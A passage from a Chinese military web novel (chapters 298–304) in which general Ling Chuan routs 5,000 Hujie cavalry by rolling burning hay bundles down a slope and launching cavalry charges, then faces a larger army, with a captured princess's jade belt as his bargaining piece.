“将军,您找我?”很快,一名精干的军官快步跑来,他是柳衡麾下的标长田孟植。 “你们之前巡视周边,可曾注意到这附近哪里有由南至北的陡坡?坡道越陡、越长越好!”凌川语速很快地问道。 田孟植凝神回想片刻,肯定地答道:“有!往南不出五里,有一处地名唤五里坡,坡道整体不算极陡,但胜在绵长,视野开阔!” “很好!”凌川点了点头,立即对孟钊下令:“唤醒所有士卒!” 随即,他指向不远处的草场方向,说道:“每人去草垛携带一捆干草,目标五里坡,急速前进!” 尽管所有士兵都对这道命令感到困惑不解,但长期的严酷训练和对凌川毫无保留的信任,让他们选择了绝对服从。 这是云州军铁律之首——令行禁止。 数千人动作迅捷,井然有序地每人抱起一大捆干草,迅速将那片草料场搬空了大半,随后,全军急速开赴五里坡。 抵达目的地后,凌川仔细勘察地形,心下甚为满意。 此坡虽不算险峻,落差约几十丈,但胜在坡面绵长数里,正是祁连山一条支脉末端形成的天然山脊,远望如同一条横卧在塔拉草原上的青色巨蟒,故本地人称之为青蟒脊。 青蟒脊也历来是塔拉马场放牧的南部边界。 …… 正午时分,烈日当空。 凌川静立于青蟒脊之上,极目远眺,只见北方地平线上,一道黑色的潮线正在迅速扩大、逼近,那是五千胡羯骑兵席卷而来的景象,烟尘滚滚,蹄声如闷雷贯耳。 他的眼神却沉静如水,不起波澜。 “陈谓行部现在到什么位置了?”凌川目光依旧紧锁北方,沉声问道。 “约半个时辰前,陈都尉传回消息,马群队伍距此约六十里。按当前速度,天黑前应能抵达白狼原!”苍蝇迅速回禀。 凌川目光愈发凝重。 从塔拉马场到云州边关的高平县,足有三百里之遥,经过一天一夜不眠不休的赶路,主力才艰难推进了一百五十里。 即便他们天黑能到白狼原,距离边关也仍有近百里的路程。 这速度,终究还是太慢了。 但他深知,陈谓行已竭尽全力,驱赶两万余匹惊惶不安的马群长途迁徙,其难度远超想象。 而且,时至此刻,无论是斥候营士兵还是庞大的马群,必然都已疲惫不堪,后续速度只会越来越慢。 照此推算,最快也要到明日下午,马群才有可能被赶入云州境内。 第一卷 第299章 烈火滚槌! 看着远方那股越来越近、携带着毁灭气息的黑色洪流,凌川的目光反而变得异常坚定。 他已别无选择,唯有在此地,拼死挡住这五千追兵,为陈谓行争取到最关键的时间。 青蟒脊上,凌川亲率卫队及五百云岚军肃然屹立,如同钉在脊梁上的数百钢枪,默然地注视着那股洪流滚滚而来。 然而,在这些久经沙场的悍卒脸上,却看不到丝毫畏惧,那一双双冷峻的眼眸中,反而隐隐跳动着兴奋与战意。 五千胡羯骑兵越来越近,转瞬间已冲至十里之外。 军阵之中,主将兀烈也清晰地看到了青蟒脊上那支规模不大的周军。他眼中闪过一丝轻蔑与冷酷。 “哼!区区青蟒脊,微不足道的地利,就想阻拦我胡羯铁骑的脚步?真是痴心妄想!”他随即对身旁一名副将厉声下令,“全军加速!冲上去,把他们碾碎!” “遵命!”副将得令,猛夹马腹冲到全军最前,挥刀狂吼:“将军有令!全军加速!杀上青蟒脊,杀光周狗!” “呜……呜……呜……” 低沉而苍凉的牛角号声再次响起,激荡着每一名胡羯骑兵的热血。 庞大的骑兵集群开始整体提速,黑色浪潮开始加速翻滚。 无数道嗜血的目光,死死锁定了山脊上那支渺小的周军。在他们看来,那不过是螳臂当车,今日注定要被铁蹄踏碎,用他们的尸骸来宣告胡羯帝国的不可侵犯。 “哗啦啦……”一面巨大的旗帜在队伍前方猎猎展开,旗面上绣着一头狰狞咆哮的白额飞虎。 这是仅次于拓跋桀天虎踏岳旗的兀烈本阵军旗,同样在无数场血战中积累了赫赫凶名。 青蟒脊上,数百云岚军依旧沉默如山,平静地看着已经冲至五里坡的五千胡羯骑兵。 凭借之前蓄积的惊人速度,这并不陡峭的坡道根本无法迟滞胡羯战马的铁蹄。 他们的坐骑多为耐力和爆发力俱佳的草原马与大宛马,远胜中原马种,完全可以一鼓作气冲上五里坡。 就在此时,凌川冰冷的声音如同碎冰般砸落: “准备!” 霎时间,身后数百云岚军士兵齐刷刷转身。 只见山脊反斜面后方,赫然堆放着数百个用干草紧紧捆扎成的硕大草炬,形成一个个比成年人还高的草球。 士兵们迅速将这些沉重的草球推至山脊边缘,然后纷纷解下腰间的狼血酒囊,将烈酒泼洒在干燥的草捆之上,紧接着,纷纷用火折子将其引燃。 干草遇火即燃,再加上烈酒助燃,火苗轰地一声冲天而起。 伴随着噼啪作响的燃烧声,数百个巨大的草球瞬间化为一个个熊熊燃烧的烈火滚槌! 顷刻之间,整条青蟒脊化身为一道烈焰翻腾的火墙,冲天的火光和热浪让山脊仿佛陡然拔高了一丈,景象骇人。 “动手!” 随着凌川一声令下,士兵们齐声发力,将一个个燃烧着烈焰的烈火滚槌奋力推下陡坡。 这些巨大的火球带着骇人的声势,沿着漫长的坡道急速翻滚、弹跳而下,仿佛无数颗从天而降的烈焰陨石。 下方,正全力冲锋的胡羯骑兵骤然见到这如同天罚般的一幕,顿时人人色变,惊骇万分。 他们原以为对方只是想凭借微弱的地利负隅顽抗,万万没料到,周军竟准备了如此歹毒而震撼的火攻之术。 看着那些越滚越快、越烧越旺、挟着风火之势扑面而来的巨大火球,毫无心理准备的胡羯骑兵瞬间陷入了深深的恐慌。 不仅是士兵,就连他们胯下久经战阵的战马,也被这从未见过的恐怖景象惊得嘶鸣阵阵,焦躁不安,本能地试图躲避。 一时间,原本整齐划一、气势如虹的冲锋阵型,速度骤减,并开始以肉眼可见的速度陷入混乱与骚动! 此火攻之术,并非凌川凭空想象。 今早,他一直在思索破敌之策,当他看到那大片草垛的时候,脑海中顿时联想到了前世西方戈壁上一种名为‘风滚草’的东西,一条破敌之策便逐渐在脑海中形成。 不过,要实施起来也并非一件容易的事情,自己没有借东风的神鬼之能,那便只能依靠地利之势,好在有五里坡这么一个绝佳地方,让他的计划得以实施。 当然,制作这些烈火滚槌极有讲究,捆扎过紧则不易充分燃烧,火势不足;捆扎过松则滚落途中极易散架,无法形成持续冲击。 卫敛带领云岚军士卒也是反复试验,才掌握了松紧适度的捆扎技巧。 数百个熊熊燃烧的烈火滚槌沿着斜坡翻滚而下,在坡道加速下翻滚得越来越快,声势愈发骇人,拖曳出的火光与浓烟宛如一道道来自地狱的火焰陨石! 正面迎冲而来的胡羯骑兵们脸色煞白,眼中充满了惊惧。他们胯下的战马更是焦躁不安,发出阵阵惊恐的嘶鸣,动物本能驱使它们想要逃离这可怕的景象。 这五千骑兵皆为轻骑,前军士卒每人配备一面圆盾,那副将见无数火球以排山倒海之势滚来,虽心下骇然,仍强自镇定,嘶声大吼:“举盾!防御!” 前军士兵闻令,下意识地举起手中圆盾,试图结阵抵御。 然而,盾牌或许能护住人,却根本无法安抚和保护受惊的战马。 眼见阵前战马愈发狂躁,几乎要失控,副将急中生智,再次大吼:“捂住马眼!安抚战马!” 前排骑兵闻令,纷纷艰难地俯低身子,右手高举盾牌格挡可能飞溅的火星,左手则尽力前伸,紧紧捂住自己战马的双眼。 此法不仅能隔绝战马视线,避免它们因看到翻滚的火球而彻底惊慌,手掌传来的触感和骑兵的低吼也能在一定程度上安抚坐骑。 “轰隆隆……” 熊熊燃烧的巨大火球终于狠狠地砸入胡羯骑兵的先锋阵线,尽管士兵们举盾格挡,但这些翻滚的庞然大物和四处飞溅的火焰根本无法完全防御。 最致命的是,战马虽被蒙住眼睛,但身体被火焰灼烧带来的剧痛,瞬间摧毁了方才勉力维持的脆弱平衡。 第一卷 第300章 雷霆一击! 一匹匹战马发出凄厉痛苦的悲鸣,彻底发狂,或双脚而起,或疯狂地四处乱冲乱撞,原本就勉力维持的阵型,如同被重锤击打的琉璃,瞬间崩裂,陷入一片可怕的混乱。 两军交锋,阵型乃骑兵之根基,一旦失去秩序,尤其是对于高速冲击的骑兵而言,往往是灾难性的。 任何一个微小的缺口都可能被敌人抓住,进而导致全军崩溃,这个道理,对于兀烈这等沙场悍将而言,自是深谙此道。 他的副将同样明白此理,但面对这前所未见的火海滚槌战术,以及因此而彻底失控的前军,他纵然心急如焚,却也束手无策,只能眼睁睁看着混乱如瘟疫般蔓延。 一个个巨大的火球无情地砸下,然后翻滚过骑兵阵列。 其本身的撞击或许造成的直接伤亡有限,但那附骨之蛆般的火焰却是最恐怖的杀手。 无数战马被点燃,吃痛之下疯狂践踏、冲撞,不仅撞翻了身旁的同伴,更将恐慌与混乱极速扩散至整个前锋乃至中军! 青蟒脊上,烈火滚槌仍在被不断点燃、推下,仿佛源源不绝。 许多火球甚至因碰撞而弹跳起来,越过混乱的前排,狠狠砸入阵营中央区域。 一时间,火光弥漫、浓烟滚滚。 人体焦糊味与毛发烧焦的气味弥漫开来,凄厉的惨叫声、战马绝望的哀鸣声、以及火焰燃烧的噼啪声交织在一起,宛如来自地狱的嘶吼。 整个五千人的骑兵阵型,除了兀烈坐镇的后军,未被直接冲击,尚能保持相对稳定外,前军与中军已彻底乱成一锅沸粥! 后方,兀烈双目圆瞪,几乎喷出火来,脸色铁青得吓人。 如果说之前还只是猜测,那么此刻,他几乎可以断定,青蟒脊上的对手,必是那个近半年声名鹊起的凌川无疑! 也只有这个不按常理出牌、诡计多端的周军新锐,才能想出如此刁钻狠辣、令人防不胜防的战术。 青蟒脊上,凌川挺身而立,山风吹过战甲缝隙,呜呜作响。 他冷漠地注视着下方已化为一片火海炼狱、人喊马嘶的胡羯军阵,眼神深邃而平静,无喜无悲。 卫敛则继续指挥着云岚军士兵,将最后一批烈火滚槌点燃,推下山坡。 当最后一捆燃烧的草球翻滚而下后,五百余名云岚军士兵迅速牵来一直隐藏在后方的战马,迅速翻身上马。 他们整齐横列于青蟒脊之上,如同一排冰冷的杀神,默默地俯瞰着下方仍在火海与混乱中挣扎的敌人。 兀烈见状,心头猛地一沉,他知道,对方蓄势已久的致命一击,马上就要来了。 此刻,他的队伍莫说组织有效反击,连自保都成问题。 一旦让这支养精蓄锐、占据地利之势的敌军俯冲下来,己方必将陷入全面溃败的绝境。 “全军后撤!退出坡道范围!”兀烈当机立断,嘶声下达了撤退的命令。 唯有尽快撤离这片燃烧的斜坡,才能摆脱这该死的火海,重新整队。 “呜……呜……呜……” 急促而苍凉的退兵号角声骤然响起,穿透了战场上的喧嚣。 所有尚能行动的胡羯骑兵闻讯,如蒙大赦,纷纷拼命勒转马头,或驱使着受惊的战马,狼狈不堪地向后涌去,只想尽快逃离这片死亡斜坡。 凌川依旧冷眼旁观,并未立即下令追击。 因为坡道上仍有大量烈火滚槌在燃烧,此时贸然冲下,己方人马也极易被灼伤或引发混乱。 当然,他绝不可能放任敌人如此轻松地脱身。 “杀!” 就在兀烈大军仓皇掉头、阵型最为混乱涣散之际,一声如同惊雷般的暴吼自其后侧猛然炸响! 只见赵襄率领的一千云州重甲铁骑,如同一堵突然出现的钢铁城墙,赫然堵住了他们的退路! 这一千重骑,甲胄俱全,长枪如林,早已蓄势良久,此刻挟着无匹的冲击力,如同一道玄甲巨浪狠狠碾压而来。 若是在之前,一千重骑兀烈根本不放在眼里,毕竟,论骑战他才是真正的宗师,麾下骑卒更是在马背上长大的百战悍卒,又岂惧周人的骑兵? 然而此一时彼一时,他的军队正处於前所未有的混乱和撤退之中,而敌人却精准地抓住了这个千载难逢的战机,从他们最薄弱、最意想不到的方向发起了雷霆一击! “顶上去!拦住他们!”兀烈不愧是经验丰富的沙场老将,虽惊不乱,立马做出应对。 他手下队伍的确悍勇,闻令立刻拔刀拼死向前,试图组成一道血肉防线,阻挡那碾压而来的钢铁洪流。 然而,仓促组成的防线,又如何能抵挡住养精蓄锐、阵型严整、且挟俯冲之势的重骑兵突击? “噗嗤!” 赵襄一马当先,手中长枪如毒龙出洞,精准地将一名试图阻拦的胡羯骑兵连人带盾挑飞出去。 与此同时,整整一千重骑轰然撞入胡羯混乱的后军之中! 霎时间,骨骼碎裂声、兵刃碰撞声、绝望惨叫声响成一片! 鲜血四处飞溅,残肢断臂在空中抛飞,胡羯骑兵如同被收割的麦草般成片倒下…… 这一千重骑或许不足以全歼五千敌军,但他们无疑是在胡羯军已然混乱不堪的阵型上,又狠狠地浇上了一瓢滚油! 彻底摧毁了敌军最后一丝重振旗鼓的可能! 一千重甲铁骑势如破竹,直捣黄龙般朝着主将兀烈的方位猛冲而去。 兀烈目睹对方直奔自己而来,脸色骤然剧变,他深知,在此等溃乱局势下,绝不可正面硬撼其锋芒。 一股难以言喻的憋屈感涌上心头。 曾几何时,都是他兀烈率领胡羯铁骑如风卷残云般将敌人杀得人仰马翻、片甲不留。 何曾想过,有朝一日,自己竟会亲身体验这种人为刀俎我为鱼肉的绝望滋味! 本就如累卵般脆弱的阵营,再遭这等毁灭性冲撞,瞬间便彻底炸开了锅,根本无需他再下达任何指令,幸存骑兵早已丧失战意,如同没头的苍蝇般四散奔逃,只求远离这片死亡之地。 然而,祸不单行! 就在胡羯骑兵溃散之际,左右两翼猛然爆发出震天的喊杀声。 第一卷 第301章 一锤定音! 只见柳衡率领的一千轻骑分成两股,如同两支锋利的弯刀,从侧翼高速奔袭而来,毫不留情地对准溃逃的胡羯骑兵张弓疾射! 箭矢密集如飞蝗过境,铺天盖地倾泻而下,许多正仓皇逃命的骑兵根本来不及反应,便被从侧后方射来的利箭洞穿身体,惨叫着栽落马下。 “杀!” 几乎在同一时间,青蟒脊上方传来一声冰冷而决绝的喝令。 凌川亲率五百云岚军,如同蓄势已久的猛虎,终于亮出了最锋利的獠牙,沿着斜坡俯冲而下! 虽仅有五百骑,但其所展现出的磅礴气势、一往无前的决然以及那凝聚如实质的凛冽杀意,竟宛如千军万马奔腾碾压,令人心胆俱裂! 凌川之所以选择在最后时刻出击,就是要精准地抓住敌军阵型彻底崩溃、心理防线瓦解的致命瞬间,以雷霆万钧之势,给予其最后一击,彻底为这一战盖棺定论。 五百云岚军大多都是上次跟随凌川在关外杀出赫赫威名的老卒,哪怕是冲锋中依然保持着严整的阵型。 距敌两百步时,破甲弓齐射,精准狙杀混乱中的目标。 冲至五十步内,纷纷收起长弓,所有人动作整齐划一地抬起匣子弩,三轮急促而致命的短箭泼洒而出后,根本不给敌人喘息之机,雪亮的苍生战刀已然出鞘,直接切入近身白刃战。 两侧柳衡率领的轻骑也采取了完全相同的战术。 破甲弓远程削弱,匣子弩中程覆盖,最后战刀收割! 一时间,胡羯骑兵遭受了毁灭性的打击,在如此极致的混乱中,他们根本无法组织起任何有效的抵抗,只能沦为被肆意屠戮的羔羊。 从赵襄重骑发起反冲锋,到凌川率精兵俯冲而下,前后不过短短一炷香的时间,然而,就在这短暂却无比血腥的时间里,胡羯军竟已死伤近两千人! 如此恐怖骇人的战损,简直难以想象。 这既得益于凌川环环相扣、精准狠辣的战术安排,更离不开破甲弓的超远射程与精准度,以及匣子弩在近中距离那令人绝望的杀伤力。 这最后一击,彻底打断了这支胡羯军的脊梁骨,碾碎了他们最后一丝反抗的意志。 即便凌川此刻下令停手,那剩余的近三千溃兵,在短时间内也绝无可能再形成任何战斗力。 士兵带伤,战马受惊,军心彻底崩溃,恐慌如同瘟疫蔓延。 兀烈心如明镜,此战已毫无悬念。 他整整五千铁骑,出征时意气风发,誓要将这伙胆大包天的周狗截杀于草原,夺回马场,洗刷耻辱。 可残酷的现实是,他们连对方的衣角都未能碰到,便被这诡谲莫测的战术打得丢盔弃甲,一败涂地。 征战沙场近二十载,他兀烈何曾栽过如此大的跟头? 这于他而言,无疑是奇耻大辱!唯有来日踏破大周国门,用周人的鲜血沐浴战刀,用凌川的项上人头祭奠长生天,方能稍解此恨! 而眼下,最现实的问题是如何逃出去。 对,就是逃! 今日之前,他绝不会想到自己也会有在战场上如丧家之犬般仓皇逃命的一天。 战场之上,凌川的亲兵队皆持刀近战搏杀,唯有一人例外——聂星寒。 他始终稳坐马背,手中那张铁胎弓每一次嗡鸣,必有一名敌军应声落马。 他专挑重要目标下手,旗手、号角兵、试图集结部队的百夫长军官…… 寻常士卒,根本不值得他浪费一支珍贵的箭矢。 忽然,聂星寒冰冷的目光锁定了那面仍在勉力支撑的白额飞虎旗,他缓缓从箭壶中抽出一支特制的破甲重箭。 此箭较寻常箭矢更为粗长,箭镞后方带有两道反向的锋利侧刃,正是凌川特意为他打造,用于夺旗的利器! “嗡!” 弓弦发出一声沉闷的震颤,蓄满力量的破甲重箭离弦而出,化作一道肉眼难辨的黑线,直射旗杆。 “咔嚓!” 一声清脆的断裂声响起,只见那支重箭精准无比地穿透了手臂粗的旗杆,箭镞后方的两道侧刃更是顺势将木质旗杆彻底割断。 那面象征着兀烈权威与军队灵魂的白额飞虎大旗,晃了两晃,随即颓然坠落,淹没在混乱的人马与尘土之中。 这一箭,未曾杀伤一人,却比射杀百人更具威力,它如同最后一根稻草,彻底压垮了所有目睹这一幕的胡羯士兵心中那残存的信仰支柱,士气瞬间崩解殆尽,仅剩下最原始的求生本能。 反观聂星寒,面色依旧古井无波,仿佛只是随手完成了一件微不足道的小事,再次搭箭,冷漠地寻找下一个有价值的目标。 军旗的坠落,让兀烈的心也沉到了谷底。 就在这时,亲兵队长满脸血污、惊慌失措地冲到身边,嘶声大吼:“将军,快撤吧!再不走就真的来不及了!” 兀烈双目赤红,牙关紧咬,巨大的屈辱感几乎将他吞噬。 但他终究是理智的,深知若此刻逞强,唯有死路一条。 活着,虽背负耻辱,但尚有雪耻之机,死了,连雪耻的机会都没有! “走!”他从牙缝里挤出一个字。 在忠诚的亲兵营拼死护卫下,兀烈一行人如同困兽般朝着包围圈相对薄弱的北侧发起了决死冲锋。 他们不惜代价,硬生生用血肉撕开了一道口子,突围而出,随即头也不回地打马狂奔,向着北方疾驰逃去。 凌川早已下达过指令,若兀烈决心突围,不必死拦。 此战首要目标是阻敌,为陈谓行那边争取时间,而非全歼,如今已重创其军,击溃其斗志,战略目的已然超额完成。 若强行阻拦一支一心逃命、并由百战亲兵护卫的溃军,即便能留下兀烈,己方也必将付出惨重代价,这并非凌川所愿。 兀烈的亲兵素养的确极高,即便在溃败逃亡中,依然保持着严密的护卫阵型,用身体为主帅阻挡追兵和冷箭。 聂星寒连续开弓,精准射杀三名试图断后的亲兵,但立刻便有其他人悍不畏死地补上空位,始终将兀烈护得严严实实,聂星寒也只能无奈放弃。 第一卷 第302章 再遇敌情! 此时的五里坡,已彻底化为一片血色修罗场。 随着主帅旗帜的倾倒和兀烈的逃离,剩余胡羯残兵的最后一丝抵抗意志也彻底瓦解,等待他们的,是一场无情的屠杀。 一个时辰之后,战斗彻底结束。 夕阳的余晖洒落在五里坡上,映照出的是一片尸横遍野、血流成河的惨烈景象。 超过四千名胡羯骑兵被永远留在了这片陌生的土地上,只有兀烈及其亲兵营等少数人侥幸逃脱。 空气中弥漫着令人作呕的血腥味和焦糊味,伤兵的哀嚎声零星响起,却又很快沉寂下去。 云州军的士兵们麻木地穿梭在战场之上,开始例行公事般地打扫战场,补刀未死的敌人,回收箭矢,收集有用的战利品。 凌川立马于青蟒脊上,面无表情地俯瞰着这片由他一手造就的死亡之地。 他脸上并未浮现太多胜利的喜悦,反而笼罩着一层沉重的阴影。他目光扫过正在打扫战场的士兵,沉声问道:“战损统计出来了吗?我们损失了多少弟兄?” “刚刚初步清点完毕!”苍蝇的声音同样低沉,带着一丝不易察觉的哽咽,“此战,我军共阵亡两百九十七人,伤者超过五百!” 凌川默然点头,他比任何人都清楚战争的残酷,深知只要踏上战场,死人便是板上钉钉的事实。 但每当听到这些冰冷的数字,他的心依旧会像被一只无形的手紧紧攥住,沉重得难以呼吸。 那每一个冰冷的数字背后,都曾是一个个鲜活的身影,有着自己的家人和故事。 “阵亡弟兄的遗体,必须全部带回云州!”凌川的声音斩钉截铁,不容置疑,“绝不能让他们埋骨异乡!” “是!属下这就去安排!”苍蝇重重点头,立刻转身传达命令。 就在此时,赵襄与柳衡二人走了过来,凌川解下腰间的酒囊,喝了一口之后丢给赵襄。 “之前点火都用完了,就剩这点,你俩可别给我喝完了!” 二人各自喝了一口,将其还给了凌川,赵襄面带忧虑之色,问道: “将军,咱们此次闹出这么大动静,节度府会不会知晓?” 凌川淡然一笑,说道:“放心吧!咱们前脚出关,估计节度府后脚就已经接到消息了!” “啊!怎么会?”赵襄一脸的紧张之色。 “将军此前下令严禁泄露消息,而且,除了此次前来的士兵之外,整个云州军也只有高层将领知道,节度府怎么会知道那么快?”柳衡也是一脸不解。 凌川则是意味深长地笑了笑,说道:“这个你们就别管了,我是故意让他把消息传给节度府的!” 二人不明所以,但也没有追问。 原地休整一个时辰后,夜色已如墨般浸染了整个草原。 凌川不得不下令队伍再次起程,继续这场与时间赛跑的亡命之旅。 此战虽堪称辉煌大胜,斩敌四千余,并缴获了近两千匹尚且完好的战马,但胜利的代价同样沉重。 那些在火攻与战斗中严重烧伤或受伤的战马,则被无奈遗弃在原地,它们的命运,只能交由上天决定。 凌川给部队下达了死命令,必须在天亮之前,追上陈谓行的队伍。 虽然击溃了兀烈的追兵,但这广袤的关外草原,胡羯的驻军远不止金雀谷一处,其他方向的敌军虽距离较远,但闻讯赶来的风险丝毫未减。 行军途中,凌川严令全军不得解甲。 身着沉重甲胄赶路无疑会极大消耗士兵的体力,但万幸的是,此次缴获了大量战马,足以让将士们轮换乘骑,最大限度地保存体力。 直到这一刻,许多人才深切体会到平日训练中‘擐甲十里趋’这个看似残酷而鸡肋的训练项目背后,是何等的未雨绸缪,意义重大。 除了卫敛麾下那三百云岚老兵外,其余云州军士卒大多是首次跟随凌川亲身经历如此大规模的血战。 以往关于凌川的种种传奇战绩,他们只是听闻,而今日,他们不仅是见证者,更是参与者。 此战之后,凌川在那份传奇色彩之外,更以一种实实在在、令人信服的领兵之力,赢得了所有将士发自内心的钦佩与敬仰。 一夜急行军,中途仅作了短暂休整喂马饮水,队伍终于在东方天际泛起鱼肚白时,成功追上了陈谓行那庞大而缓慢移动的马群队伍。 见到凌川率军赶来,陈谓行一直悬着的心总算落回肚子里,连忙迎了上去。 “将军,大家没事吧?” 凌川微微摇头,说道:“遇到了些麻烦,不过都解决了!” 而当听闻凌川竟以微小代价,将金雀谷五千精锐杀得片甲不留、仅千余残兵狼狈逃窜时,他震惊得半晌说不出话来,看向凌川的目光中充满了难以置信的敬畏。 “现在距离云州边关还有多远?”凌川顾不上休息,直接问道。 “还有八十多里!”陈谓行立刻回答。他的斥候营一直保持着高强度的侦查活动,对周边地形和距离了如指掌。 但他随即面色凝重地补充道:“将军,情况很不乐观!现在无论是人,还是马,都已经接近极限了,这最后的八十里,恐怕才是真正最难熬的鬼门关。” 凌川面色沉峻地点了点头。陈谓行所说的,他何尝不知?然而,他们已无路可退,别无选择。 就在此时,几名派往西面的斥候如疾风般飞驰而来,人人脸色惶急。 陈谓行见状,心头猛地一紧,急声问道:“发生何事?” “将军!校尉大人!西面……西面三十里外,发现大量胡羯骑兵!正全速向我方扑来!”为首的斥候声音带着剧烈的喘息和难以掩饰的惊慌。 “有多少人?”陈谓行急忙追问,声音不自觉地拔高。 “黑压压一大片,根本望不到头!粗略估计,绝对超过一万骑!”斥候的回答让周围的空气瞬间凝固。 凌川闻言,瞳孔骤然收缩,脸色变得异常凝重。 西面而来的上万骑兵,其身份必然是驻守陵州老龙口之外的胡羯主力军团。 其主将,正是拓跋桀麾下与兀烈齐名的另一员悍将——博尔术! 第一卷 第303章 唯有死战! 眼下,即便将陈谓行的一千斥候营全部算上,己方能战之兵也仅剩三千余人,而且尽是人困马乏的疲敝之师。 饶是凌川有万千韬略,在如此绝对的兵力劣势面前,也深感无力回天。 更何况,此刻身处开阔草原,乃胡羯骑兵的主场,周军本就处于地利上的绝对劣势,加之时间仓促,根本找不到任何有利地形可供依托布防。 这一战,尚未开始,似乎就已经注定了结局。 天时、地利、人和,可谓尽失。 行动之前,凌川已在脑海中进行了无数次推演。此前发生的种种,包括被金雀谷五千精骑追上并爆发战斗,皆在他的预料之中。 甚至老龙口这支万人主力可能会闻讯出动拦截,他也并不感到意外。 只是在他此前的预估中,这支敌军主力赶到之前,己方已经带着马群安全撤回云州关内。 然而,他终究还是低估了驱赶如此庞大的马群长途跋涉的难度。马群在极度困乏后会变得焦躁不安,难以驱使,速度远低于预期。 加之牲畜固有的领地意识,使得马群在意识到离熟悉的家园越来越远后,多次出现集体性的抗拒和试图回窜的现象。 若非陈谓行及时发现并派兵拼命阻拦弹压,局面早已失控。 短暂的沉默与挣扎后,凌川的眼神重新变得锐利而坚定,他深吸一口气,声音铿锵有力地打破死寂: “传令!全军转向西进十里,择地布阵,准备迎战!” 如今,他们已没有退路,唯有一战! 就在刚才那一瞬间,凌川的内心出现了短暂动摇。 是否该果断放弃这拖累整支队伍的马群,率领所有云州军轻装疾驰,或许还能赶在敌军合围前撤回关内? 若是如此,固然能保证己方三千将士的安全,但在距离边关只有八十里的时候放弃胜利果实,他内心实在是不甘! 他不知道,用这三千多云州军的性命去换取两万余匹战马,这笔账是否划算。 他甚至不敢去想,若最终偷鸡不成蚀把米,非但马群得而复失,所有云州军亦尽数战死于关外,自己将如何面对云州父老,是否会背负无尽骂名。 作为一军主将,每一个重大决策都必然导向一个结果。而这结果的好坏,往往并非他一人所能完全掌控。 但,既然做出了抉择,就必须有勇气承担可能出现的最坏结果,无论结果有多么沉重。 凌川下令,依旧由陈谓行尽力驱赶马群继续南行,而他自己,则亲率其余所有部队西进阻敌。 之前一战已伤亡近三百,此刻能带往西线的仅两千余人。 面对上万敌军,即便加上陈谓行那一千兵力,对于整体战局的影响也是微乎其微,不如让他们尽力保住马群这最后的战果。 沈珏和孟钊将拓跋青鸾与朝鲁重新牢牢捆缚。 如今,这两人是他们手中最后的底牌,也是这两千余疲惫之师在绝境中的唯一生机。 …… 云州关外,广袤的草原之上。 一支规模庞大的万人骑兵军团正策马奔腾,浩荡的声势令大地为之颤抖,扬起的尘土遮天蔽日。 队伍最前方,一杆巨大的赤焰飞虎旗在风中猎猎作响,旗帜上那头狰狞的猛虎仿佛脚踏烈焰,欲焚噬八方。 领军之将年逾四旬,身形魁梧异常,豹头环眼,气势凶悍。 最引人注目的是他额头上那三道深如刀刻的竖纹,远远望去,竟宛如一只冷厉的竖眼,令人望而生畏。 他,便是拓跋桀麾下另一柄锋利的战刀,悍将博尔术! 忽然,一名斥候快马从前队奔回,来到博尔术马前急报:“禀将军!前方十余里处,发现一支周军列阵,意图阻拦我军去路!” 博尔术浓密的眉毛微微一皱,额间那‘竖眼’般的皱纹显得愈发深邃。 “多少人马?”博尔术粗犷的声音中带着几分威严。 “约两千左右!但……但对方阵中有一名神射手,极其可怕!我等数名斥候刚进入三百步范围,便被其接连射杀,无人能近前探查!”斥候心有余悸地回报,脸上仍残留着惊骇之色。 听闻此言,博尔术眼中精光骤然一闪,他自己便是一位箭术高手,深知在三百步外精准游骑,且连毙数名精锐斥候有多难。 如此骇人听闻的箭术,即便是在以骑射立国的胡羯军中,也堪称凤毛麟角,足以令人震惊。 而当听到对方仅有两千人马时,博尔术鼻腔里发出一声轻哼,嘴角勾起一抹残忍而不屑的冷笑,甚至懒得再去询问对方旗号。 “螳臂当车,自寻死路!”他轻蔑地吐出这几个字,手臂微抬,就欲下令全军突击、将前方那支不知天高地厚的周军碾为肉泥。 “将军且慢!”就在此时,有一名斥候策马飞奔而来,只见他手持一支铁箭,双手呈于博尔术:“此箭是对方那名神射手绑着此物射过来的,箭矢深深钉入属下马前土地,显是刻意传信!” 博尔术略带不耐地一把抓过铁箭,目光落在箭杆尾部紧紧捆绑的物件上时,他脸上的不屑与杀气瞬间凝固,取而代之的是一片前所未有的震惊与凝重! 那并非普通信物,而是一条华贵非凡的白玉蹀躞带! 这条蹀躞带绝非寻常腰带,它是草原权力与身份的至高象征! 以九块质地上乘的白玉为带板,此乃皇族嫡系血亲方能使用的规制,而且,那玉板并非光素无纹,每一块上都由被掳掠的中原巧匠精心雕琢了镂空图案。 有烈马奔腾、狼首啸月、雄狮睥睨、圣火燃烧等赋含胡羯王权象征的图案,栩栩如生,尊贵无比,绝无仿造可能! 在等级森严如铁的胡羯帝国,唯有大汗的直系血亲方有资格佩戴九块白玉蹀躞带。 即便是昔日与拓跋部共称四大王族的其他显赫王族,如今也只能使用金质带板,至于下面的十三大部族,则仅限银质。 此乃帝国铁律,僭越者,轻则斩首,重则举族湮灭! “此物从何得来?”博尔术的声音带着一丝自己都未察觉的紧绷,厉声追问。 那名斥候被主帅的反应吓得一颤,连忙回答:“就是周军阵中那名神射手,将此物绑于箭上射来的!” 第一卷 第304章 阵前博弈! 博尔术的心猛地向下一沉,昨日深夜收到主帅传来的紧急军报中,曾提及一条极其隐秘的消息。 公主殿下秘密前往塔拉马场挑选坐骑,如今与守将朝鲁一同下落不明,极可能已被周军掳走。 此前他还存有一丝侥幸,希望公主已在朝鲁保护下脱险。 但此刻,这条象征着公主至高身份的白玉蹀躞带,如同冰水浇头,瞬间击碎了他所有幻想。 公主殿下,真的落入了对方手中! 霎时间,无数念头在他脑中飞转。 一整座塔拉马场的战马与当今大汗一母同胞的亲妹妹,孰轻孰重?这根本无需权衡。 于公于私,公主的安危都远重于一切! 对他博尔术个人而言,固然可以一声令下,将前方两千周军轻易踏成肉泥。 可万一混战之中,公主殿下有丝毫损伤……这个责任,他绝对承担不起。 主帅拓跋桀虽是大汗亲叔,自要首当其冲承受大汗的怒火,但大汗初登位,开拓疆土还需仰仗这位叔叔,最终需要有人来承担罪责的,极有可能就是他这位前线大将。 电光火石间,博尔术已做出决断。 他强压下立刻冲锋的杀意,沉声下令:“亲兵营,随我来!大军徐徐推进,与我保持两里距离,没有我的命令,不得妄动!” 说罢,他一抖缰绳,率领麾下最精锐的一千亲兵卫队,脱离主力大军,加速朝着东面疾驰而去。 不消片刻,博尔术便已能看到前方两里之外,那支军容严整、沉默如山的周军队伍。 对方并未打出任何显眼的旗帜,让人一时难以判断其具体来历。 